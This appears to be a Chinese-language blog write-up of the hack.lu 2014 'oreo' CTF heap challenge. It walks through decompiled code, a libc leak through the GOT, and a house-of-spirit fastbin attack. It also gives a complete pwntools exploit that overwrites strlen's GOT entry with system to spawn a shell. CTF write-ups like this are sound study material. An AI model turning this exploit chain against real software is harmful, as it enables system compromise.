oreo-house of spirit

本文最后更新于:2024年4月8日 下午

本题出自2014 hack.lu。基于GLIBC 2.23-0ubuntu11.3。

checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

主逻辑函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned int run()
{
unsigned int v1; // [esp+1Ch] [ebp-Ch]

v1 = __readgsdword(0x14u);
puts("What would you like to do?\n");
printf("%u. Add new rifle\n", 1);
printf("%u. Show added rifles\n", 2);
printf("%u. Order selected rifles\n", 3);
printf("%u. Leave a Message with your Order\n", 4);
printf("%u. Show current stats\n", 5);
printf("%u. Exit!\n", 6);
while ( 1 )
{
switch ( read_num() )
{
case 1:
add();
break;
case 2:
show_rifles();
break;
case 3:
order();
break;
case 4:
message();
break;
case 5:
show_stats();
break;
case 6:
return __readgsdword(0x14u) ^ v1;
default:
continue;
}
}
}

经过一定的分析,可以很简单地发现某个指针_DOWRD大小数据是一个结构体,简单分析后发现

1
2
3
4
5
6
struct rifle
{
char descript[25];
char name[27];
rifle *next;
};

大概是这样的。

(我去我才发现idapro7.7可以自己对这个部分进行分析,idafree8.3没有,离谱好吧,并且函数名和结构体变量名都给标出来了,我也不知道是不是idafree为了减轻远端服务器压力而刻意不去分析或者不去找到,算了差不多,就这样吧)

1、add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void add()
{
rifle *v1; // [esp+18h] [ebp-10h]

v1 = head;
head = (rifle *)malloc(56u);
if ( head )
{
head->next = v1;
printf("Rifle name: ");
fgets(head->name, 56, stdin);
cut_enter(head->name);
printf("Rifle description: ");
fgets(head->descript, 0x38, stdin);
cut_enter(head->descript);
++rifle_cnt;
}
else
{
puts("Something terrible happened!");
}
}

分析add函数,发现在输入时没有严格控制输入大小,都可以对不同的区域进行输入,并且都可以溢出到nexttr部分。add没有对malloc多少次做限制,也就是一直malloc可以到很高的地址直到把mmap占满。

2、show

1
2
3
4
5
6
7
8
9
10
11
12
void show_rifles()
{
rifle *i; // [esp+14h] [ebp-14h]

printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = head; i; i = i->next )
{
printf("Name: %s\n", i->name);
printf("Description: %s\n", i->descript);
puts("===================================");
}
}

可以看到这里chunk结构体通过malloc_p成为了一个链表结构,show函数从这个链表头部开始通过malloc_p来逐个输出内容,但是由于前面add的未严格控制输入,那么就可以造成类似的任意读,那么就可以通过这个函数来泄露地址等操作。

3、free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void order()
{
rifle *v1; // [esp+14h] [ebp-14h]
rifle *ptr; // [esp+18h] [ebp-10h]

v1 = head;
if ( rifle_cnt )
{
while ( v1 )
{
ptr = v1;
v1 = v1->next;
free(ptr);
}
head = 0;
++order_num;
puts("Okay order submitted!");
}
else
{
puts("No rifles to be ordered!");
}
}

全给清空了,有点狠,并且置空了,不能自由free而是整个链表都被free。

4、edit

1
2
3
4
5
6
void __cdecl message()
{
printf("Enter any notice you'd like to submit with your order: ");
fgets(notice, 128, stdin);
cut_enter(notice);
}

对某个字符串进行输入感觉没什么特殊的地方。

前文提到add没有限制,并且edit函数可以修改notice指针指向的位置,那么notice指针其实就类似于chunk->next,那么我们就可以在bss段伪造一个fake chunk,并且指向位置任意,通过edit进行一次fastbin attack,将notice开始部分的next指向hook的位置就可以了,例如说__malloc_hook。

根据前文的分析:

  1. show函数的任意读可以帮助我们泄露出libc_base,那么首先头部add一个,让next指向任意一个got表函数地址,然后通过show输出就可以得到libc_base了;
  2. 这时的目的是延长到notice的位置,然后通过修改notice->next指向某一个可以控制的函数即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = 'debug'
io = process('./oreo')
elf = ELF('./oreo')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def duan():
gdb.attach(io)
pause()

def add(s1, s2):
io.sendline(b'1')
io.sendline(s2)
io.sendline(s1)

def show():
io.sendline(b'2')

def free():
io.sendline(b'3')

def edit(s):
io.sendline(b'4')
io.sendline(s)


def main():
add(b'a'*27+p32(elf.got.puts), b'a'*25)
show()
io.recvuntil(b'Description: ')
io.recvuntil(b'Description: ')
puts = u32(io.recvuntil(b'\n', drop=True)[:4])
log.success(hex(puts))
base = puts - libc.sym.puts
log.success(hex(base))
sys = base + libc.sym.system
bsh = base + libc.search(b'/bin/sh').__next__()
for _ in range(0x3f):
add(b'a'*27+p32(0),b'a'*25)
add(b'a'*27+p32(0x804a2a8), b'a'*25)
edit(b'\x00'*0x20+p32(0x40)+p32(0x50))
free()
add(b'a'*20, p32(elf.got.strlen).ljust(20, b'a'))
edit(p32(sys)+b";/bin/sh\x00")

main()
io.interactive()

总结

house of spirit是一种fastbin attack,利用free将伪造的fake chunk释放,fake chunk的地址会被放在fastbin链中,实现对任意地址写。

影响版本:2.23至今,所有含有fastbin的版本。

fake chunk有如下检查:

​ ISMMAP!=1、fake chunk应该满足fastbin的格式(自身size、next的大小,大于2*SIZE_SZ,小于av->system_mem)、fastbin表头不能是fake chunk。


oreo-house of spirit
http://example.com/2023/12/22/oreo-house-of-spirit/
作者
OSLike
发布于
2023年12月22日
许可协议